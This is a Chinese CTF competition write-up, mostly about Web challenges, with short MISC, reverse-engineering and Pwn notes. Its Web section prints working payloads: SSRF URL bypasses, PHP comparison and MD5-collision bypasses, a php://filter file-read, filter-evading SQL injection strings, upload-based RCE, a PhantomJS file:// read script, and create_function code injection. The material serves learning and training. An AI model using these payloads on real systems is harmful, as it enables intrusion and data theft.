这次我还是主攻 Web 方向

感谢 @CaSO4 @EQSupreme @Xkeo @Ji@ang 几个大佬引导我

Web

sign_in

签到题, 在源码里面存在一个注释, 由于存在补全的 =, 考虑 base64 解密

signin

SSRF

可以看到这个是一个服务端伪造请求, 通过查看代码里面的注释, 可以发现我们的网址会经过过滤, regex 为 ^http:\/\/dinoctf\..*209, 他提醒我们 flag 在 dino.php

要求必须是 HTTP 协议, 且开头为 dinoctf., 后面有 209, 于是我们可以利用 Url 的格式来绕过

Url 的格式为: <协议>://<用户名>:<密码>@<目标host>:<端口>/<路径>;<参数>?<查询>#<片段>

我们可以让 dinoctf 变成用户名, 把 209 编程查询即可, 于是构造如下

http://dinoctf.kengwang@127.0.0.1/dino.php?209

当然, 你也可以自己解析一个域名, 二级域名为 dinoctf, 解析到 127.0.0.1

我们将其进行 base64 编码, 即可得到 flag

ssrf-me

phpwake

我们进入环境, 看到本题的代码:

<?php
highlight_file(__FILE__);
    include("dino.php");
    if(isset($_POST['hellodino']))
    {
        if(strcmp($_POST['hellodino'],$hellodino) == 0)
        {
            $d1 = $_REQUEST['d1'];
            if(is_numeric($d1)){
                die("Oh No");
            }
            switch($d1){
                case 0:
                    echo "NONONO";
                    break;
                case 1:
                    echo "hacker???";
                    break;
                case 2:
                    if((string)$_POST['n']!==(string)$_POST['o'] &&
                        md5($_POST['n'])===md5($_POST['o'])){
                    echo file_get_contents("/flag");}
                    else
                    {
                        die("最后一步了,再试试!");
                    }
                    break;
                default:
                    echo "不对不对!";
            }
        }
        else
        {
            die("what's a shame~");
        }
    }
?>

我们一层一层地分析

第一层: strcmp($_POST['hellodino'],$hellodino) == 0, 此处需要两个字符串相等, 我们尝试使用数组绕过, 绕过之后 strcmp 会 Warning, 但是仍然会返回 0

第二层: $d1 = $_REQUEST['d1'];

第二层要求 d1 这个字符串不能为数字, 并且需要经过 switch 语句的数字 case, 于是我们尝试使用 数字+字母 进行绕过, 此种方法会在 php 弱转的时候取最开头的数字

第三层: (string)$_POST['n']!==(string)$_POST['o'] && md5($_POST['n'])===md5($_POST['o'])

此处要求 no 强转后的字符串不相等, 并且他们的 MD5 值相同

此处由于校验十分严格, 数组绕过因为强转后都是 Array 无法绕过, 所以采用最原始的 MD5 碰撞法.

我们使用 fastcoll, 生成两个MD5相同的文件, 再用 php 进行 urlencode 后输出即可得到两个参数, 将其填入后即可拿到 flag

php_wake_taskbar

where_r_u_from_1

提示我们只有 127.0.0.1 的人才能访问, 我们通过 X-Forwarded-For 进行请求来源伪装

eef72bd70b7f90c5b4ebd244794e8964

中文网站

image-20231104192555165

看起来是个特别复古的 PHP 网址, 我们试着跳转几个页面, 发现 URL 里存在参数, 猜测是 include 包含利用.

经过多次测试发现需要包含 view 字串, 于是我们尝试使用 php 伪协议并且通过相对路径进行文件内容输出, 并且通过 Base64 转个码, a 参数使用

php://filter/read=convert.base64-encode/resource=view/../flag

ch_web_taskbar

经过 Base64 解码后得到 flag

where_r_u_from_2

诶, 这个是一个系列的题目吗? 当我们尝试使用 127.0.0.1 时发现输出了后端的代码

<?php
function getIp(){
    if(!empty($_SERVER['HTTP_CLIENT_IP'])){
        $cip=$_SERVER['HTTP_CLIENT_IP'];
    }
    elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
        $cip=$_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    elseif(!empty($_SERVER['REMOTE_ADDR'])){
        $cip=$_SERVER['REMOTE_ADDR'];
    }
    else{
        $cip='';
    }
    $cip=preg_replace('/\s|select|from|limit|union|join/iU','',$cip);
    return $cip;
}
 $query=$mysqli->query("insert into ip_records(ip,time) values ('$ip','$time')");

发现这道题是 SQL 注入, 是一个盲注, 以及过滤了参数, 我们一点一点地突破

此处可以参考 H3rmesk1t 师傅的 SQL 学习笔记, 写的很详细

通过查看 Regex 语句发现其将部分关键字替换成了空, 于是我们尝试采用双写绕过

由于是盲注, 我们先找出数据表结构, 通过 information_schemas.tables 来查找, 由于我不知道我语句抽了什么疯, 于是使用 group_concat 来组装所有数据

我们需要先闭合左侧的单引号, 把我们想要的数据写到第二列. 空格也被替换了, 我们使用 /*a*/ 注释进行占位

人间大炮一级准备:

', (selselectect/*a*/group_concat(table_schema)/*a*/frfromom/*a*/information_schema.columns) );#

抓出所有的数据库名, 我们关注到 demo2

人间大炮二级准备:

', (selselectect/*a*/group_concat(table_name)/*a*/frfromom/*a*/information_schema.columns) );#

抓出所有的表名, 我们关注到flaaag

人间大炮三级准备:

', (selselectect/*a*/group_concat(column_name)/*a*/frfromom/*a*/information_schema.columns) );#

关注到fl4g

发射

', (selselectect/*a*/group_concat(fl4g)/*a*/frfromom/*a*/demo2.flaaag) );#

拿到 flag

f51c032354977fdbb9ea7d07ba44b0e6

happy_shell

小朋友, 你是否有很多问号
<?php
error_reporting(0);
highlight_file(__file__);
$code = $_GET['code'];
if(preg_match("/[a-zA-Z0-9]|\*|\&/is", $code)||strlen($code)>25){
    die("休息一下吧:)");
          }
    $result = shell_exec($code);
    var_dump($result);
?>

可以看到是个 RCE, 但是过滤了所有的数字和字母以及通配符, 这让我们很是难办, 但是却留下了一条后路 ?, 这个后路是 ?

做完后和 @CaSO4 的交流发现存在两种办法, 我用的是最复杂的哪一种. 这种就是通过文件上传来进行.

这个方法是利用的 PHP 上传文件后会先存到 /tmp 文件夹, 并且php的缓存文件名存在大写, 我们可以通过命令中的正则匹配来找到这个文件, /???/????????[@-[], 这个的最后一个字符匹配的大写, 我们可能需要多次提交才能遇到一个最后一位是大写的. (这里有一个类似于条件竞争的感觉, 在 PHP 未运行完成时 /tmp 不会被删除, 因为 php 不知道之后会不会用到这个文件, 在结束 php 执行前此文件都不会被回收, 请求结束后此文件会被删除, 所以不存在两次匹配到同一文件的问题)

接下来又是第二个点了, 如何执行一个没有执行权限的文件, 在 Linux 的 sh 下有个神奇的特性, 当你使用 . <sh文件> 的时候,会忽略掉他是否可执行, 而直接把这个文件当 Shell 脚本执行.

于是我们将文件上传请求代理到 burp 中进行重放

0d655b1d2523b5672bd7e9cbba612298

我们可以在这里执行任意代码, 载入 payload 如下

#!/bin/bash
echo "done"
echo `ls /var/www/html`

得到

image-20231104230420474

得到文件路径/var/www/html/714_ls_h3r3.php

之后再输出他, 我们可以使用通配符来输出, 得到 flag

image-20231104230949053

不是 sql 注入

根据提示和出题人的说明, 这个似乎是密码爆破, 但似乎我的字典有点问题, 我适中找不到密码, 这道题参考官方 WP

Md2png

image-20231104231411846

发现这个会将 Markdown 转换成 png. 而 Markdown 中允许存在 HTML 代码, 考虑利用 JavaScript.

我们可以先看看逻辑, 首先在script 中写点 Javascript, 发现 script 被过滤掉, 我们采用双写绕过

首先看看need浏览器是什么, 通过 navigator.userAgent发现, 是

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1Safari/538.1

image-20231106153926522

X11配合PhantomJs, PhantomJs 存在一个本地文件读取漏洞, 利用 XHR, 可以使用 File 协议访问当前文件, 于是利用此漏洞编写脚本, 构造 payload

<scrscriptipt>
xhr = new XMLHttpRequest()
xhr.onload = function(){
    document.body.innerText = this.responseText
}
xhr.open('GET', "file:///var/www/html/flag.php")
xhr.send()
</scrscriptipt>

image-20231106154758515

得到flag

Bad shell

进去可以看到是一个 SSRF, 在页面源代码里面可以看到逻辑:

if (isset($_GET["Command1"])) {
            $com1 = $_GET["Command1"];
            eval($com1);
            $ob = ob_get_contents();
            ob_end_clean();
            echo preg_replace("/[0-9]|[a-z]/i","?", $ob);
        }

这个和 CTFshow 的 web71 十分相似, 我们先尝试直接用 passthru 打, Command1 传入 passthru('cat /flag'); 即可得到 flag

image-20231107223220852

联合注入的本质

<?php
highlight_file(__FILE__);
include('config.php');
include("flag.php");
if(isset($_POST['key'])&&isset($_POST['code'])) {
    $key = trim($_POST['key']);
    $code = trim($_POST['code']);
    if ($connection) {
      $query = 'SELECT * from keyss where keysss="'.$key.'" or 1=1';
      $result = mysqli_query($connection, $query);
      $query2 = 'SELECT * from keyss';
      $result2 = mysqli_query($connection, $query2);
      $keysss = mysqli_fetch_assoc($result)['keysss'];
      echo $keysss;
      $final_key = hash_hmac('sha256',$keysss,mysqli_fetch_assoc($result2)['keysss']);
      if($final_key==$code){
        echo $flag;
      }else{
        echo "try to get key";
        echo mysqli_error($connection);
      }
    } else {
      die("connect fail: " . mysqli_connect_error());
    }
}elseif(isset($_POST["info"])){
  phpinfo();
}
else{
  echo 'enter key,get flag';
}

分析代码可知, 这个从数据库中读入了 keyss 表并且用通配 1=1读取了所有的行

我们先随便传入 keycode, 拿到 keysssJi@ng_is_my_pig

继续分析代码, 他将这个key进行了 sha256 加密, 本地运行一个 PHP 再进行加密可得到加密后为 20491e96e4a4883a8a382e488741754e54a2ed53551187b23304954f1decb30a

进行请求后拿到 flag

what-is-union-select-taskbar

出警

我们先访问 /Install 进行按安装, 我们下载网站源代码进行代码审计.

发现在 Admin/Ajax.php L19 存在可利用函数 create_function

create_function 实际会运行一次 eval, 我们将函数封闭后即可执行内容

function (){
    // user input
}

攻击后会成为

function (){ 
    echo 1;}; foo();     // }

我们于是构造 payload

echo 1;}; var_dump(file_get_contents('/flag')); //

police-taskbar

MISC

OSINT-小蛮腰

经过简单的搜索发现是广州塔, 我们试着经过百度地图的街景模式大致确定了距离范围, 一番搜索之后找到 二沙岛艺术公园

wow

我们下载后得到一张图片, 首先查看 EXIF 信息, 发现相机型号中有 d1no{We1co}

wow-1

使用 010 Editor 打开该照片, 文件尾得到第二部分

wow-2

发现文件尾存在 unknownPadding, 分析知这也是一张图片, 对其进行分离

image-20231108000145164

得到最后一个部分

image-20231108000242655

Reverse

Hello_IDA

image-20231108001251053

拖入查看

Hello_linux_x86

image-20231108001402778

拖入查看

Hello_mac_arm

image-20231108001457750

APK1 / APK2

由于时间紧张, 我们使用 MT 管理器来打吧

使用 Dex 编辑器++ 打开后关注到 MainActivityMainActivity$1

关注 MainActivity$1onClick 函数明文 flag

image-20231108002022842

同时 APK2 的密码经过了 AES 加密, 在 MainActivity 中得到解密 key 为 GenshinImpact123

我们将它解密即可得到 flag

Pwn

两道签到题, 十分对不起 @Xkeo 大佬, 大佬真的挺好的, 只不过沉迷于 Web 一直没有做 Pwn, 我的错 QAQ

后记

这次大挑战挺好玩的, 题目说难不难, 说简单不简单, 在比赛中学到了很多知识, 认识了很多大佬.

之后也会发一篇学习笔记的, 再次感谢在比赛过程中指导我的大佬们!